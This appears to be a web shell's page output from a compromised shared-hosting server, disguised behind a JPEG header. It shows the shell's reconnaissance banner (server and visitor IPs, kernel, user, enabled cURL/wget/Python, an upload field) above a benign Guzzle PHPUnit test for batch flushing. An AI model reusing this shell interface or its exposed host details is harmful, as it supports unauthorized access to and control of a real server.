����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././www/vendor/guzzle/guzzle/tests/Guzzle/Tests/Batch/ |
Upload File : |
<?php
namespace Guzzle\Tests\Batch;
use Guzzle\Batch\FlushingBatch;
use Guzzle\Batch\Batch;
/**
* @covers Guzzle\Batch\FlushingBatch
*/
class FlushingBatchTest extends \Guzzle\Tests\GuzzleTestCase
{
public function testFlushesWhenSizeMeetsThreshold()
{
$t = $this->getMock('Guzzle\Batch\BatchTransferInterface', array('transfer'));
$d = $this->getMock('Guzzle\Batch\BatchDivisorInterface', array('createBatches'));
$batch = new Batch($t, $d);
$queue = $this->readAttribute($batch, 'queue');
$d->expects($this->exactly(2))
->method('createBatches')
->will($this->returnCallback(function () use ($queue) {
$items = array();
foreach ($queue as $item) {
$items[] = $item;
}
return array($items);
}));
$t->expects($this->exactly(2))
->method('transfer');
$flush = new FlushingBatch($batch, 3);
$this->assertEquals(3, $flush->getThreshold());
$flush->setThreshold(2);
$flush->add('foo')->add('baz')->add('bar')->add('bee')->add('boo');
$this->assertEquals(1, count($flush));
}
}